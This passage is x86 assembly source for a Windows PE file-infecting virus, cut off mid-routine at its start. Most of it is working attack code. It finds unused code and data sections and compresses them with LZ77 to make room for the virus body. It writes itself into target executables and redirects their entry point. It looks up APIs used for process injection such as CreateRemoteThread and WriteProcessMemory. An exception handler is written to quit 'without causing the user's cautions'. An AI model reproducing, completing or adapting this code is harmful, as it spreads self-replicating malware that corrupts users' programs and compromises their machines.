in the range of jae lb_StopInfecting ;the file. lea edi, [eax+ecx] push edi ;Initialize lpNtHeaders cmp dword ptr [edi], 00004550h jnz lb_StopInfecting mov ecx, [edi+00000028h] lea edx, [eax+ecx] cmp [edx], dword ptr 00EC8160h jz lb_StopInfecting xor ecx, ecx push ecx ;Initialize ulInformation push ecx ;The end flag mov [ebp][CompressionInfoAA+off_pSection], ecx mov [ebp][CompressionInfoBB+off_pSection], ecx movzx ecx, word ptr [edi+00000006h] mov [ebp][i], ecx lea esi, [edi+000000F8h] lp_FindCodeAndDataSection: mov ecx, [esi+00000010h] cmp ecx, 00001000h jb lb_TryNextSection mov eax, [esi+00000024h] cmp eax, 0C0000040h jz lb_DataSectionFound cmp eax, 60000020h jz lb_CodeSectionFound jmp lb_TryNextSection lb_DataSectionFound: call CheckReferenceToSection jc lb_TryNextSection mov [ebp][CompressionInfoBB+off_pSection], esi jmp lb_TryNextSection lb_CodeSectionFound: call CheckReferenceToSection jc lb_TryNextSection mov [ebp][CompressionInfoAA+off_pSection], esi lb_TryNextSection: add esi, SIZE_OF_IMAGE_SECTION_HEADER dec dword ptr [ebp][i] jnz lp_FindCodeAndDataSection lea esi, [ebp][CompressionInfoAA] mov ecx, [esi] lea eax, [ebx][lpBufferForDataCompressed] mov [esi][off_pCompressedDataBuffer], eax mov [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax jecxz lb_NoCodeSectionCanBeUsed call CompressPeSection ;Compress the code section cmp ecx, VIRUS_PHYSICAL_SIZE jae lb_OnlyCodeSectionCompressed ;add [esi][off_pCompressedDataBuffer], eax add [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax ;Adjust the pointer lb_NoCodeSectionCanBeUsed: lea esi, [ebp][CompressionInfoBB] cmp dword ptr [esi], 0 jz lb_StopInfecting ;add [esi][off_pCompressedDataBuffer], eax call CompressPeSection cmp ecx, VIRUS_PHYSICAL_SIZE lea esi, [ebp][CompressionInfoAA] jae lb_OnlyDataSectionCompressed cmp dword ptr [esi], 0 jz lb_StopInfecting or dword ptr [ebp][ulInformation], FLAG_USE_TWO_SECTIONS cmp [esi][off_ulNumFreeBytes], eax jae lb_Noname1 cmp ecx, [esi][off_ulNumUsedBytes] jb lb_StopInfecting or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION lb_Noname1: mov [ebx][JumpOffset-@X], byte ptr 0 jmp lb_CompressionCompleted lb_OnlyDataSectionCompressed: or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION lb_OnlyCodeSectionCompressed: mov [ebx][JumpOffset-@X], byte ptr (lb_NoSecondCompressedSection - NextStatement) ;********************************************************************* ;* * ;* My Infection algorithm: * ;* 1) Try to find two sections which are not referred by any data * ;* directory in the PE file. * ;* 2) Compress a part of the data of the section. The max size of * ;* the data to be compressed is 16K. Because my compression * ;* algorithm is not so perfect, the processing time will be * ;* very long if the data is too much. * ;* 3) If one of the sections is large enough to hold the * ;* compressed data and the virus code, just place there. * ;* Otherwise, move compressed data in one section to anther * ;* and just place the virus code in the section. * ;* * ;********************************************************************* ;1. two sections & in code section ; ;CODE_SEG DATA_SEG ; _______ _______ ;| | | | ;| D | | | ;|_______| | V | ;| | | | ;| C | | | ;|_______| |_______| ; ; ;2. two sections & in data section ; ;DATA_SEG CODE_SEG ; _______ _______ ;| | | | ;| C | | | ;|_______| | V | ;| | | | ;| D | | | ;|_______| |_______| ; ;3. one sections & in code section ; ;CODE_SEG ; _______ ;| | ;| C | ;|_______| ;| | ;| V | ;|_______| ; ; ;4. one sections & in data section ; ;DATA_SEG ; _______ ;| | ;| D | ;|_______| ;| | ;| V | ;|_______| lb_CompressionCompleted:
mov eax, [ebp][ulInformation] ;lea esi, [ebp][CompressionInfoAA] cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS) ;If in code section and use two sections? jz lb_ExchangeCompressionInformation cmp eax, dword ptr (FLAG_IN_DATA_SECTION) ;If in data section and use one section? jz lb_ExchangeCompressionInformation jmp lb_SaveParameters lb_ExchangeCompressionInformation: push DWORDSofCompressionInfo pop ecx lea edi, [ebp][CompressionInfoBB] lp_ExchangeData: xchg eax, [edi] xchg eax, [edi][DWORDSofCompressionInfo*4] xchg eax, [edi] add edi, 4 loop lp_ExchangeData ;lea esi, [ebp][CompressionInfoBB] lb_SaveParameters: lea esi, [ebp][CompressionInfoAA] mov edx, [esi][off_pSection] lea edi, [ebx][DecompressionParametersA-@X] xor eax, eax lea ecx, [eax+1] test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS jz lb_RemainCounterTo1 inc ecx mov edx, [ebp][CompressionInfoBB+off_pSection] lb_RemainCounterTo1: mov [ebp][pSectionOfOriginalDataAndCode], edx lp_SaveFileWritingInformation: push dword ptr [esi][off_ulNumUsedBytes] push dword ptr [esi][off_pCompressedDataBuffer] push ecx mov ecx, [esi][off_ulNumTotalBits] mov [edi], ecx ;Total number of bits ;mov ecx, [esi][off_pSection] mov ecx, [ebp][pSectionOfOriginalDataAndCode] mov edx, [ecx+0000000Ch] add edx, eax mov [edi+00000004h], edx ;Source data address for decompression mov edx, [ecx+00000014h] mov ecx, [esi][off_OriginalVirtualAddress] mov [edi+00000008h], ecx add edx, eax ;File offset where the compressed data will be stored. pop ecx push edx add eax, [esi][off_ulNumUsedBytes] add edi, 0000000Ch sub esi, DWORDSofCompressionInfo*4 loop lp_SaveFileWritingInformation ;lea esi, [ebp+CompressionInfoAA][off_pSection] ;mov edi, [esi][off_pSection] mov edi, [ebp+CompressionInfoAA][off_pSection] mov edx, [edi+00000014h] mov ecx, [edi+0000000Ch] test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS jnz lb_Noname3 add edx, eax add ecx, eax lb_Noname3: mov [ebp][ulAddressOfVCode], ecx push VIRUS_PHYSICAL_SIZE lea ecx, [ebx][BaseOfVirusCode-@X] push ecx push edx mov edi, [ebp][lpNtHeaders] mov eax, [edi+00000080h] call RvaAddressToFileMappingAddress xchg esi, eax lb_LoopOfFindImportDescriptorOfKernel32: push (SIZE_OF_IMPORT_DESCRIPTOR) push esi call IsAllZero jz lb_StopInfecting ; All import descriptor have been retrieved, ; but kernel32 is not found. So we should do nothing ; but just exit. mov eax, [esi+0000000Ch] call RvaAddressToFileMappingAddress xchg eax, edi push esi lea esi, [ebx][NameOfKernel32-@X] call strcmpi pop esi jz lb_Kernel32IsFound add esi, SIZE_OF_IMPORT_DESCRIPTOR jmp lb_LoopOfFindImportDescriptorOfKernel32 lb_Kernel32IsFound: mov eax, [esi+00000010h] ;< Save the address of first thunk mov [ebx][RvaOfFirstThunkOfKernel32-@X], eax ;< ;mov esi, [ebp][pDataSection] ;push VIRUS_PHYSICAL_SIZE ;lea ecx, [ebx][BaseOfVirusCode-@X] ;push ecx ;mov eax, [ebp][ulAddressOfVCode] ;call RvaToFilePointer ;push eax mov edi, [ebp][lpNtHeaders] ;< mov eax, [ebp][ulAddressOfVCode] ;< add eax, EntryOfVirusCode-BaseOfVirusCode ;< Modify Address of Entry Point lea ecx, [edi+00000028h] ;< And mov edx, [ecx] ;< Save Original Address of mov [ebx][OriginalEntryPoint-@X], edx ;< Entry Point mov [ecx], eax ;< mov [ebx][RvaOfEntryPoint-@X], eax ;< lea ecx, [edi+00000064h] mov eax, VIRUS_BOOTING_SIZE cmp [ecx], eax jae lb_NotEnlargeSizeOfStackCommitSize add [ecx], eax lb_NotEnlargeSizeOfStackCommitSize:
lb_LoopOfWriteTargetFile: pop eax test eax, eax jz lb_InfectionCompleted add eax, [ebp][lpFileMapping] xchg edi, eax pop esi pop ecx cld rep movsb jmp lb_LoopOfWriteTargetFile lb_InfectionCompleted:
lb_StopInfecting: push dword ptr [ebp][lpFileMapping] call [ebx][lpfnUnmapViewOfFile-@X] lb_MapViewOfFileFail: push dword ptr [ebp][hFileHandle] call [ebx][lpfnCloseHandle-@X] lb_CreateFileMappingFail: push dword ptr [ebp][hFileMappingHandle] call [ebx][lpfnCloseHandle-@X] lb_FileOpenFail: lb_ExitInfectPeFile: mov byte ptr [ebx][IsBusy-@X], 0 lb_IsBusyNow: mov esp, ebp pop ebp ret ;********************************************************************* ;* * ;* CompressPeSection() * ;* * ;* Remarks: * ;* Process the specified section to make preparations for * ;* furher infections. * ;* * ;* Parameters: * ;* [Esi] * ;* Point to the start address of the buffer containing the * ;* parameters about data compression. * ;* * ;* Return Value: * ;* [Ecx] * ;* The number of free bytes that can be overwritten with the * ;* virus code after compression. * ;* [Eax] * ;* The number of bytes that the original data of the data * ;* have been compressed to. * ;* * ;********************************************************************* CompressPeSection: pop dword ptr [ebx][ReteunFromCompressPeSection-@X] mov edi, [esi][off_pSection] mov ecx, [edi+0000000Ch] mov [esi][off_OriginalVirtualAddress], ecx mov ecx, [edi+00000010h] mov edx, MAX_SIZE_TO_COMPRESS cmp ecx, edx jbe lb_UseSizeOfRawData mov ecx, edx lb_UseSizeOfRawData: lea edx, [esi][off_ulNumTotalBits] and [edx], dword ptr 0 mov eax, [edi+00000014h] add eax, [ebp][lpFileMapping] push edx push dword ptr [esi][off_pCompressedDataBuffer] push ecx push eax call LZ77Compress mov eax, [edx] test eax, eax jz lb_StopInfecting add eax, 7 shr eax, 3 sub ecx, eax jb lb_StopInfecting mov [esi][off_ulNumUsedBytes], eax mov [esi][off_ulNumFreeBytes], ecx push 'HOLD' ReteunFromCompressPeSection = $-4 ret ;********************************************************************* ;* * ;* IsRvaInSection() * ;* * ;* Remarks: * ;* Check if the RVA is in the specified section. * ;* * ;* Parameters: * ;* [Eax] * ;* The RVA which will be checked. * ;* [Esi] * ;* Point to the section. * ;* * ;* Return Value: * ;* If the Rva is in the section, both CF and ZF are cleared. * ;* If not, either CF or ZF is set. * ;* * ;********************************************************************* IsRvaInSection: ;{ push edx mov edx, [esi+0000000Ch] cmp eax, edx jb lb_RvaNotInTheSection add edx, [esi+00000010h] cmp edx, eax jbe lb_RvaNotInTheSection
pop edx ret lb_RvaNotInTheSection: pop edx ret ;} ;********************************************************************* ;* * ;* CheckReferenceToSection() * ;* * ;* Remarks: * ;* Check if the section is referred by one or more data * ;* directories. If the section is referred, it cannot be used * ;* to write the virus code. * ;* * ;* Parameters: * ;* [Esi] * ;* Point to the section which will be checked. * ;* * ;* Return Value: * ;* If the section is referred, CF is set. * ;* If not, CF is cleared. * ;* * ;********************************************************************* CheckReferenceToSection:
push ecx mov edx, [ebp][lpNtHeaders] movzx ecx, word ptr[edx+00000006h] add edx, 00000078h lp_CheckAllDataDirectory: mov eax, [edx] ; IMAGE_EXPORT_DIRECTORY call IsRvaInSection jnbe lb_SectionIsReferred add edx, 8 loop lp_CheckAllDataDirectory pop ecx clc ; Not referred ret lb_SectionIsReferred: pop ecx stc ; referred ret ;********************************************************************* ;* * ;* GetProcedureAddress() * ;* * ;* Remarks: * ;* Get the entry address of the specified API function from * ;* the system DLLs of Windows. * ;* * ;* Parameters: * ;* Edi: Pointer to a null-terminated string containing the API * ;* function name whose entry address we want to get. * ;* Eax: The image base of the DLL from which the API function * ;* is exported. * ;* Esi: Pointer to a IMAGE_EXPORT_DIRECTORY structure which * ;* contains the export information. * ;* * ;* Return Value: * ;* The entry address of the API function. * ;* * ;********************************************************************* GetProcedureAddress: mov ecx, [esi+00000018h] mov edx, [esi+00000020h] add edx, eax push esi lp_FindMatchedProcedureName: mov esi, [edx] add esi, eax call strcmpi jz lb_MatchedProcedureNameFound add edx, 4 loop lp_FindMatchedProcedureName xor eax, eax pop esi ret lb_MatchedProcedureNameFound: pop esi sub edx, [esi+00000020h] ;sub edx, eax mov ecx, [esi+0000001Ch] ;add ecx, eax add ecx, edx add eax, [ecx] ret ;extern "C" ;void __declspec(naked) WINAPI ;LZ77Compress( ; PUCHAR __pDataBuffer, ; ULONG __ulDataLength, ; PUCHAR __pOutputBuffer, ; PULONG __pulNumberOfBits ; ) ;//{
;********************************************************************* ;* * ;* LZ77Compress() * ;* [Param1] * ;* [Param2] * ;* [Param3] * ;* [Param4] * ;* * ;* Remarks: * ;* Decompress the data. * ;* * ;* Parameters: * ;* [Param1] * ;* Point to the buffer containing the data that will be * ;* compressed. * ;* [Param2] * ;* The total bytes of the data that will be compressed * ;* [Param3] * ;* Point to the buffer where the data will be stored after * ;* compression. * ;* [Param4] * ;* Point to the variable that will save the number of bits of * ;* the data after compression * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* BASE_OFFSET = (36) pDataBuffer = (BASE_OFFSET) ulDataLength = (BASE_OFFSET+4) pOutputBuffer = (BASE_OFFSET+8) pulNumberOfBits = (BASE_OFFSET+12) iSlideWindowPtr = (-4) ulBytesCoded = (-8) ulBytesDecoded = (-8) ulLength = (-12) ulOffset = (-16) pSlideWindowPtr = (-20) LZ77Compress: pushad mov ebp, esp xor ebx, ebx ; Intialize ulBitOffset mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr mov edi, [ebp][pOutputBuffer] push -MAX_WND_SIZE ; Initialize iSlideWindowPtr push 0 ; Initialzie ulBytesCoded sub esp, 3 * 4 lp_CompressDataWithLZ77:
mov edx, [ebp][ulBytesCoded] cmp edx, 00001000h jb lb_NotAssumeDataCompressibility
mov ecx, ebx ;After MAX_WND_SIZE bytes data have been shr ecx, 3 ;compressed, we should assume the cmp ecx, edx ;compressibility of the data. jbe lb_DataCompressibilityIsStillGood ; xor ebx, ebx jmp lb_ExitLZ77Compress lb_NotAssumeDataCompressibility: lb_DataCompressibilityIsStillGood: ;mov eax, [ebp][ulBytesCoded] ;cmp eax, [ebp][ulDataLength] mov eax, [ebp][ulDataLength] sub eax, [ebp][ulBytesCoded] jbe lb_AllBytesCompressed push eax mov eax, [ebp][iSlideWindowPtr] mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength cmp eax, 0 jl lb_L01_1 add edx, eax jmp lb_L01_3 lb_L01_1: cmp eax, -MAX_WND_SIZE jl lb_L01_2 add ecx, eax jmp lb_L01_3 lb_L01_2: xor ecx, ecx xor edx, edx lb_L01_3: pop eax cmp eax, ecx jae lb_BytesLeftMoreThanMaxWndSize mov ecx, eax lb_BytesLeftMoreThanMaxWndSize: call FindSubStringWithMaxLength mov eax, [ebp][ulLength] cmp eax, 1 jle lb_MatchedStringLengthIsLessThan1 call Write1ToBitStream mov eax, [ebp][ulOffset] mov ecx, OFFSET_CODING_LENGTH call WriteBitsToBitStream mov eax, [ebp][ulLength] call WriteGolombCode mov eax, [ebp][ulLength] add esi, eax add [ebp][iSlideWindowPtr], eax add [ebp][ulBytesCoded], eax jmp lp_CompressDataWithLZ77 lb_MatchedStringLengthIsLessThan1: call Write0ToBitStream mov eax, [esi] push 8 pop ecx call WriteBitsToBitStream inc esi inc dword ptr [ebp][iSlideWindowPtr] inc dword ptr [ebp][ulBytesCoded] jmp lp_CompressDataWithLZ77 lb_AllBytesCompressed: lb_ExitLZ77Compress: mov eax, [ebp][pulNumberOfBits] mov [eax], ebx mov esp, ebp popad ret 16 ;********************************************************************* ;* * ;* WriteBitsToBitStream() * ;* * ;* Remarks: * ;* Writing a series of bits to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The address is * ;* byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the new bits will * ;* be written. * ;* [Eax] * ;* The bits that will be wtitten to the bit stream. * ;* [Ecx]: * ;* The number of bits that will be written to the bit stream. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* WriteBitsToBitStream: lp_LoopOfWritingOffset: shr eax, 1 jc lb_CurrentBitIs1 call Write0ToBitStream jmp lb_WriteNextBit lb_CurrentBitIs1: call Write1ToBitStream lb_WriteNextBit: loop lp_LoopOfWritingOffset ret ;********************************************************************* ;* * ;* Write1ToBitStream() * ;* * ;* Remarks: * ;* Writing 1 to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The * ;* address is byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the data 1 will * ;* be written. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* Write1ToBitStream:
lb_Write1ToBitStream: push edx push ecx push eax mov eax, ebx shr eax, 3 add eax, edi mov ecx, ebx and ecx, 7 push 1 pop edx shl edx, cl or [eax], dl pop eax pop ecx pop edx inc ebx ret ;********************************************************************* ;* * ;* Write0ToBitStream * ;* * ;* Remarks: * ;* Writing 0 to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The address is * ;* byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the data 0 will * ;* be written. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* Write0ToBitStream: lb_Write0ToBitStream: push edx push ecx push eax mov eax, ebx shr eax, 3 add eax, edi mov ecx, ebx and ecx, 7 push 1 pop edx shl edx, cl not edx and [eax], dl pop eax pop ecx pop edx inc ebx ret ;********************************************************************* ;* * ;* CompareStrings() * ;* * ;* Remarks: * ;* Compare two strings. * ;* * ;* Parameters: * ;* [Ecx] * ;* Point to string1. * ;* [Edi] * ;* Point to string2. * ;* [Ecx] * ;* The max length of comparation length. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* CompareStrings: ;//{ push esi push edi ;lea eax, [esi+1] ;cld ;rep cmpsb mov eax, esi lp_CompareStrings: mov dl, [esi] cmp dl, [edi] jnz lb_StringsUnmatched inc esi inc edi loop lp_CompareStrings lb_StringsUnmatched: sub esi, eax mov eax, esi pop edi pop esi ret ;//} ;********************************************************************* ;* FindSubStringWithMaxLength() * ;* * ;* Remarks: * ;* Find the sub string of string2 with the max length * ;* that matches string1. * ;* * ;* Parameters: * ;* [Ecx] * ;* The max length of string1. * ;* [Esi] * ;* Point to string1. * ;* [Edi] * ;* Point to string2. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* FindSubStringWithMaxLength: ;//{
push esi push edi xor eax, eax mov [ebp][ulLength], eax ; Initailzie return value mov [ebp][ulOffset], eax ; Initialize return value mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr mov edi, edx test edi, edi jz lb_ExitFindLongestSubstring jecxz lb_ExitFindLongestSubstring lb_LoopOfFindSubStrings: push ecx call CompareStrings pop ecx cmp eax, [ebp][ulLength] jbe lb_SubStringIsNotTheLongest mov [ebp][ulLength], eax mov eax, edi sub eax, [ebp][pSlideWindowPtr] mov [ebp][ulOffset], eax lb_SubStringIsNotTheLongest:
inc edi loop lb_LoopOfFindSubStrings lb_ExitFindLongestSubstring: pop edi pop esi ret ;//} ;********************************************************************* ;* * ;* WriteGolombCode() * ;* * ;* Remarks: * ;* Write the Golomb code to the bit stream. * ;* * ;* Parameters: * ;* [Eax] * ;* The value which is to be coded. * ;* [Edi] * ;* Point to start address of the bit stream. * ;* [Ebx] * ;* The offset in the bit stream where the Golomb code * ;* will be written. * ;* * ;* Return value: * ;* The length of the coding. * ;* * ;********************************************************************* WriteGolombCode: lea ecx, [eax-1] shr ecx, M ; q mov edx, ecx push ecx jecxz lb_QIsZero lp_WriteQOnes: call Write1ToBitStream loop lp_WriteQOnes lb_QIsZero: call Write0ToBitStream shl edx, M ; q<<m sub eax, edx ; dec eax ; r = x-(q<<m)-1 mov ecx, 1 lb_LoopOfWritingR: shr eax, 1 jc lb_CurrentBitIs1_b call Write0ToBitStream jmp lb_CurrentBitIs0_b lb_CurrentBitIs1_b: call Write1ToBitStream lb_CurrentBitIs0_b: inc ecx cmp ecx, M jbe lb_LoopOfWritingR pop eax add eax, M+1 ret ;//} ;extern "C" ;void __declspec(naked) WINAPI ;LZ77Decompress( ; PUCHAR __pDataBuffer, ; ULONG __ulNumberOfBits, ; PUCHAR __pOutputBuffer, ; PULONG __pulNumberOfBytes ; ) ;//{ ;********************************************************************* ;* * ;* LZ77Decompress() * ;* [Param1] * ;* [Param2] * ;* [Param3] * ;* [Param4] * ;* * ;* Remarks: * ;* Decompress the data. * ;* * ;* Parameters: * ;* [Param1] * ;* Point to the buffer containing the data that will be * ;* decompressed. * ;* [Param2] * ;* The total bits of the data that will be decompressed * ;* [Param3] * ;* Point to the buffer where the data will be stored after * ;* decompression. * ;* [Param4] * ;* The number of bytes of the data after decompression * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* ulNumberOfBits = (BASE_OFFSET+4) pOutputBuffer = (BASE_OFFSET+8) pulNumberOfBytes = (BASE_OFFSET+12) LZ77Decompress: pushad mov ebp, esp xor ebx, ebx ; Initialize bit offset mov esi, [ebp][pDataBuffer] mov edi, [ebp][pOutputBuffer] push -MAX_WND_SIZE push 0 sub esp, 3 * 4 lb_LZ77Decompress: cmp ebx, [ebp][ulNumberOfBits] jae lb_AllDataDecompressed call ReadBitFromBitStream test eax, eax jz lb_SingleCharacter mov eax, [ebp][iSlideWindowPtr] mov edx, [ebp][pOutputBuffer] cmp eax, 0 jl lb_L2_a add edx, eax jmp lb_L2_b lb_L2_a: cmp eax, -MAX_WND_SIZE jge lb_L2_b xor edx, edx lb_L2_b: push edx mov ecx, OFFSET_CODING_LENGTH call ReadBitsFromBitStream push eax call ReadGolombCode pop eax xchg esi, [esp] add esi, eax add [ebp][iSlideWindowPtr], ecx add [ebp][ulBytesDecoded], ecx lp_CopyingString: mov al, [esi] mov [edi], al inc esi inc edi loop lp_CopyingString pop esi jmp lb_LZ77Decompress
lb_SingleCharacter:
mov ecx, 8 call ReadBitsFromBitStream mov [edi], al inc edi inc dword ptr [ebp][iSlideWindowPtr] inc dword ptr [ebp][ulBytesDecoded] jmp lb_LZ77Decompress lb_AllDataDecompressed: mov eax, [ebp][ulBytesDecoded] mov ecx, [ebp][pulNumberOfBytes] jecxz lb_NumberOfBytesNotRequiredReturned mov [ecx], eax lb_NumberOfBytesNotRequiredReturned: mov esp, ebp popad ret 16 ReadBitFromBitStream:
push ecx mov eax, ebx shr eax, 3 add eax, esi mov ecx, ebx and ecx, 7 mov eax, [eax] shr eax, cl and eax, 1 pop ecx inc ebx ret ReadBitsFromBitStream:
push edi push edx xor edx, edx xor edi, edi xchg ecx, edi lb_LoopOfReadBits: call ReadBitFromBitStream shl eax, cl or edx, eax inc ecx dec edi jnz lb_LoopOfReadBits mov eax, edx pop edx pop edi ret ;********************************************************************* ;* * ;* ReadGolombCode() * ;* * ;* Remarks: * ;* Read the Golomb code from the bit stream. * ;* * ;* Parameters: * ;* [Esi] * ;* Point to start address of the bit stream. * ;* [Ebx] * ;* The offset in the bit stream where the Golomb code will * ;* be read from. * ;* * ;* Return value: * ;* [Ecx] * ;* The decoding value * ;* * ;********************************************************************* ReadGolombCode:
xor edx, edx lb_ReadNextBitUntil0IsFound: call ReadBitFromBitStream test eax, eax jz lb_ZeroBitIsFound inc edx jmp lb_ReadNextBitUntil0IsFound lb_ZeroBitIsFound: push edx xor ecx, ecx xor edx, edx lb_LoopOfDecodingR: call ReadBitFromBitStream shl eax, cl or edx, eax inc ecx cmp ecx, M jb lb_LoopOfDecodingR mov ecx, edx pop edx shl edx, M lea ecx, [ecx+edx+1] ret ;//} ;********************************************************************* ;* ExceptionHandler: ;* ;* The exception-handing routine. When something unnormal ;* occurs anyway, the routine is called by the system. We will ;* do some processings here and then quit our virus program ;* without causing the user's cautions. ; ;* Parameters: ;* ;* fs:[0]: Point the memory unit where the ESP register is ;* saved. The value of the ESP register is equal to the one ;* when the exception occurs. ;* ;* Return Value: ;* ;* None ;* ;* ;********************************************************************* ExceptionHandler: if DEBUG push 0 push offset szError push offset szExceptionCaused push 0 call MessageBoxA endif xor ebx,ebx mov eax, fs:[ebx] mov esp, [eax] jmp lb_ExitVirusProgram NameOfKernel32 db 'Kernel32.dll', 0
if DEBUG TargetProcessName db 'mm.exe', 0 endif db 'prcv' db (MajorVersion + 00000030h) db '.' db (MinorVersion + 00000030h) n_GetModuleHandleA db 'GetModuleHandleA', 0 n_GetProcAddress db 'GetProcAddress', 0 n_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot', 0 n_Process32First db 'Process32First', 0 n_Process32Next db 'Process32Next', 0 n_Module32First db 'Module32First', 0 n_Module32Next db 'Module32Next', 0 n_CloseHandle db 'CloseHandle', 0 n_OpenProcess db 'OpenProcess', 0 n_CreateRemoteThread db 'CreateRemoteThread', 0 n_VirtualProtectEx db 'VirtualProtectEx', 0 n_VirtualAllocEx db 'VirtualAllocEx', 0 n_VirtualFreeEx db 'VirtualFreeEx', 0 n_WriteProcessMemory db 'WriteProcessMemory', 0 n_CreateFileA db 'CreateFileA', 0 n_CreateFileW db 'CreateFileW', 0 n_CreateFileMapping db 'CreateFileMappingW', 0 n_MapViewOfFile db 'MapViewOfFile', 0 n_UnmapViewOfFile db 'UnmapViewOfFile', 0 n_GetFileAttributes db 'GetFileAttributesW', 0 n_SetFileAttributes db 'SetFileAttributesW', 0 n_GetFileSize db 'GetFileSize', 0 n_MultiByteToWideChar db 'MultiByteToWideChar', 0 ife SKIP_CURRENT_PROCESS n_GetCurrentProcessId db 'GetCurrentProcessId', 0 endif if ERROR_DIAGNOSE n_GetLastError db 'GetLastError', 0 endif if NOT_INFECT_FILES LogFileName db 'c:\openlog.txt', 0 endif RelativeBase = @B ; import-function string offset table IfNameTable dd n_GetModuleHandleA - RelativeBase dd n_GetProcAddress - RelativeBase dd n_CreateToolhelp32Snapshot - RelativeBase dd n_Process32First - RelativeBase dd n_Process32Next - RelativeBase dd n_Module32First - RelativeBase dd n_Module32Next - RelativeBase dd n_CloseHandle - RelativeBase dd n_OpenProcess - RelativeBase dd n_CreateRemoteThread - RelativeBase dd n_VirtualProtectEx - RelativeBase dd n_VirtualAllocEx - RelativeBase dd n_VirtualFreeEx - RelativeBase dd n_WriteProcessMemory - RelativeBase if NOT_INFECT_FILES dd n_CreateFileA - RelativeBase endif dd n_CreateFileW - RelativeBase dd n_CreateFileMapping - RelativeBase dd n_MapViewOfFile - RelativeBase dd n_UnmapViewOfFile - RelativeBase dd n_GetFileAttributes - RelativeBase dd n_SetFileAttributes - RelativeBase dd n_GetFileSize - RelativeBase dd n_MultiByteToWideChar - RelativeBase ife SKIP_CURRENT_PROCESS dd n_GetCurrentProcessId - RelativeBase endif if ERROR_DIAGNOSE dd n_GetLastError - RelativeBase endif dd 0 ; 0 meaning the end of the table IsBusy db 0 CallAddressTable = $ @X = $ lpfnGetModuleHandleA dd ? lpfnGetProcAddress dd ? lpfnCreateToolhelp32Snapshot dd ? lpfnProcess32First dd ? lpfnProcess32Next dd ? lpfnModule32First dd ? lpfnModule32Next dd ? lpfnCloseHandle dd ? lpfnOpenProcess dd ? lpfnCreateRemoteThread dd ? lpfnVirtualProtectEx dd ? lpfnVirtualAllocEx dd ? lpfnVirtualFreeEx dd ? lpfnWriteProcessMemory dd ? if NOT_INFECT_FILES lpfnCreateFileA dd ? endif lpfnCreateFileW dd ? lpfnCreateFileMappingW dd ? lpfnMapViewOfFile dd ? lpfnUnmapViewOfFile dd ? lpfnGetFileAttributesW dd ? lpfnSetFileAttributesW dd ? lpfnGetFileSize dd ? lpfnMultiByteToWideChar dd ? ife SKIP_CURRENT_PROCESS lpfnGetCurrentProcessId dd ? endif if ERROR_DIAGNOSE lpfnGetLastError dd ? endif VIRUS_PHYSICAL_SIZE = $ - BaseOfVirusCode VIRUS_VIRTUAL_SIZE = 00001000h VIRUS_ALIGN_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED + 00000400h) VIRUS_BOOTING_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED)
DynamicDataArea = $ ReturnValueFromRemoteProcess dd ? dwOldProtect dd ? ProcessEntry32 = $ pe_dwSize = ProcessEntry32 + 0000h pe_th32ProcessID = ProcessEntry32 + 0008h pe_szExeFile = ProcessEntry32 + 0024h ife NOT_INFECT_FILES ModuleEntry32 = $ else ModuleEntry32 = $ + 00000128h endif me_dwSize = ModuleEntry32 + 0000h me_modBaseAddr = ModuleEntry32 + 0014h PADDING_DATA_LENGTH = (VIRUS_ALIGN_SIZE-($-BaseOfVirusCode)) PaddingData db (PADDING_DATA_LENGTH) dup (0) ; _______________________________________________ ___ ;|(0x0000) | | ;| | | ;| Virus Code | | 00001000h ;| | | ;|_______________________________________________| _|_ ;|(0x1000) | | ;| | | ;| Buffer For Data Compressed | | 00004000h ;| | | ;| | | ;| | | ;| | | ;| | | ;|_______________________________________________| _|_ DOS_HAEDER_SIZE = 00000040h SIZE_OF_IMPORT_DESCRIPTOR = 00000014h SIZE_OF_IMAGE_SECTION_HEADER = 00000028h MAX_SIZE_TO_COMPRESS = 00004000h MAX_SIZE_COMPRESSED = 00004000h DELTA_X = BaseOfVirusCode - @X lpBufferForDataCompressed = DELTA_X + 00001000h VirSegment ends end VirtualEntry

|